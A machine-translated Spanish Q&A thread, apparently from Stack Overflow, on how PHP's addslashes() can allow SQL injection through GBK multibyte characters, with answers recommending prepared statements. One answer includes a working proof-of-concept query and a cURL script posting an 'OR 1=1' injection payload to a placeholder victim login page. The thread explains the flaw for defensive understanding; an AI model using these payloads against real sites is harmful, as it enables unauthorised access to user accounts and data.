¿Ejemplos de inyecciones SQL mediante addlashes()?

Resuelto Nathan H asked hace 54 años • 4 respuestas

En PHP, sé que mysql_real_escapees mucho más seguro que usar addslashes. Sin embargo, no pude encontrar un ejemplo de una situación en la que addslashesse pudiera realizar una inyección SQL.

¿Alguien puede dar algunos ejemplos?

Nathan H avatar Jan 01 '70 08:01 Nathan H
Aceptado

Bueno, aquí tienes el artículo que quieres .

Básicamente, la forma en que funciona el ataque es poniendo addslashes()una barra invertida en medio de un carácter multibyte de modo que la barra invertida pierda su significado al ser parte de una secuencia multibyte válida.

La advertencia general del artículo:

Este tipo de ataque es posible con cualquier codificación de caracteres donde haya un carácter multibyte válido que termine en 0x5c, porque addslashes()se puede engañar para crear un carácter multibyte válido en lugar de escapar de la comilla simple que sigue. UTF-8 no se ajusta a esta descripción.

chaos avatar May 13 '2009 23:05 chaos

Como complemento para los lectores de las respuestas aquí: este error de MySQL ya se ha solucionado :)

Además, siempre es una buena práctica utilizar declaraciones preparadas. Es la forma menos explotada de realizar consultas (y, en varios casos de uso, la de mayor rendimiento). Y te habría salvado de este defecto.

nico gawenda avatar Jun 30 '2012 04:06 nico gawenda

Chris Shiflett lo explica claramente con el siguiente ejemplo: Eso, por supuesto, funcionará si lo intenta cuando usa la codificación GBK en su base de datos. Incluso lo probé, esto demuestra que existen posibilidades de inyección SQL, aunque son muy pocas, pero alguien con buen conocimiento y capacidad puede inyectar fácilmente. Aquí hay un ejemplo...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

Aunque el uso de addlashes() o magic_quotes_gpc normalmente se consideraría algo seguro, el uso de GBK los haría casi inútiles. El siguiente script PHP cURL podría hacer uso de la inyección, espero que esto te ayude a comprender un poco más:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>
ScoRpion avatar Oct 19 '2012 09:10 ScoRpion